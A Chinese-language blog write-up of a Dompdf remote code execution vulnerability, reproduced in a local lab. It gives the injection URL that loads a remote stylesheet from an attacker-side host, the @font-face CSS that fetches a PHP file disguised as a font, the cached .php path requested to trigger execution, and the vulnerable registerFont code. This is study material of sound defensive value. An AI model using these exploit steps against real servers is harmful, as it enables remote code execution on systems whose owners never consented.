Dompdf命令执行漏洞

Dompdf命令执行漏洞

简介

Dompdf是一种基于php的HTML到PDF的转换器。该漏洞通过将CSS注入到Dompdf处理的数据中,存储在一个php缓存文件扩展名的恶意字段中,然后通过web访问执行。

环境搭建

1
https://github.com/positive-security/dompdf-rce

运行测试主机

1
2
cd application
php -S localhost:9000

运行攻击主机

1
2
cd exploit
php -S localhost:9001

漏洞验证

远程加载资源,将在应用服务器本地缓存资源文件

1
http://localhost:9000/index.php?pdf&title=%3Clink%20rel=stylesheet%20href=%27http://localhost:9001/exploit.css%27%3E

访问缓存的php font文件,触发漏洞

1
http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

漏洞分析

在dompdf的配置文件中,当设置了$isRemoteEnabled(无论设置何值)

1
private $isRemoteEnabled = false;

都允许dompdf通过font-face CSS规则加载自定义字体,如exploit.css文件所示

1
2
3
4
5
6
@font-face {
font-family:'exploitfont';
src:url('http://localhost:9001/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}

当使用外部字体是,dompdf将其缓存在本地/lib/fonts目录下,并在dompdf_font_family_cache.php中添加相应的条目savaFontFailies()。

如上面加载远程的css文件,在dompdf_font_family_cache文件中可找到其对应的条目

并且在目录下找到转换后的文件

漏洞点在FontMetrics.php中的registerFont方法字体缓存中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
public function registerFont($style, $remoteFile, $context = null)
{
$fontname = mb_strtolower($style["family"]);
$families = $this->getFontFamilies();

$entry = [];
if (isset($families[$fontname])) {
$entry = $families[$fontname];
}

$styleString = $this->getType("{$style['weight']} {$style['style']}");

$fontDir = $this->options->getFontDir();
$remoteHash = md5($remoteFile);

$prefix = $fontname . "_" . $styleString;
$prefix = trim($prefix, "-");
if (function_exists('iconv')) {
$prefix = @iconv('utf-8', 'us-ascii//TRANSLIT', $prefix);
}
$prefix_encoding = mb_detect_encoding($prefix, mb_detect_order(), true);
$substchar = mb_substitute_character();
mb_substitute_character(0x005F);
$prefix = mb_convert_encoding($prefix, "ISO-8859-1", $prefix_encoding);
mb_substitute_character($substchar);
$prefix = preg_replace("[\W]", "_", $prefix);
$prefix = preg_replace("/[^-_\w]+/", "", $prefix);

$localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;

if (isset($entry[$styleString]) && $localFile == $entry[$styleString]) {
return true;
}

$cacheEntry = $localFile;
$localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));

$entry[$styleString] = $cacheEntry;

// Download the remote file
[$protocol] = Helpers::explode_url($remoteFile);
if (!$this->options->isRemoteEnabled() && ($protocol !== "" && $protocol !== "file://")) {
Helpers::record_warnings(E_USER_WARNING, "Remote font resource $remoteFile referenced, but remote file download is disabled.", __FILE__, __LINE__);
return false;
}
if ($protocol === "" || $protocol === "file://") {
$realfile = realpath($remoteFile);

$rootDir = realpath($this->options->getRootDir());
if (strpos($realfile, $rootDir) !== 0) {
$chroot = $this->options->getChroot();
$chrootValid = false;
foreach ($chroot as $chrootPath) {
$chrootPath = realpath($chrootPath);
if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
$chrootValid = true;
break;
}
}
if ($chrootValid !== true) {
Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The file could not be found under the paths specified by Options::chroot.", __FILE__, __LINE__);
return false;
}
}

if (!$realfile) {
Helpers::record_warnings(E_USER_WARNING, "File '$realfile' not found.", __FILE__, __LINE__);
return false;
}

$remoteFile = $realfile;
}
list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
if ($remoteFileContent === null) {
return false;
}

$localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
file_put_contents($localTempFile, $remoteFileContent);

$font = Font::load($localTempFile);

if (!$font) {
unlink($localTempFile);
return false;
}

$font->parse();
$font->saveAdobeFontMetrics("$cacheEntry.ufm");
$font->close();

unlink($localTempFile);

if ( !file_exists("$cacheEntry.ufm") ) {
return false;
}

// Save the changes
file_put_contents($localFile, $remoteFileContent);

if ( !file_exists($localFile) ) {
unlink("$cacheEntry.ufm");
return false;
}

$this->setFontFamily($fontname, $entry);
$this->saveFontFamilies();

return true;
}

可以从上方的代码看出新缓存本地文件名称为通过计算远程加载的文件的MD5值来构造的。

1
$font = Font::load($localTempFile);

这里文件通过php-font-lib进行加载和解析,但php-font-lib仅会检查加载文件的文件头,而忽略了文件扩展名

命令执行流程如下:

首先设置php文件头为有效的ttf字体,在其后添加恶意代码

然后在加载的css文件中包含该php文件,通过xss漏洞远程加载资源文件xxx.css

访问xss链接引用远程css文件

1
http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

deopdf就会在/lib/font文件夹下缓存重命名php恶意文件

访问该php文件执行

1
http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

参考链接

dompdf中未修补的RCE漏洞会影响HTML到PDF转换器 - 云+社区 - 腾讯云 (tencent.com)

从 XSS 到 RCE (dompdf 0day) | CN-SEC 中文网

利用dompdf将XSS升级为RCE (qq.com)

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信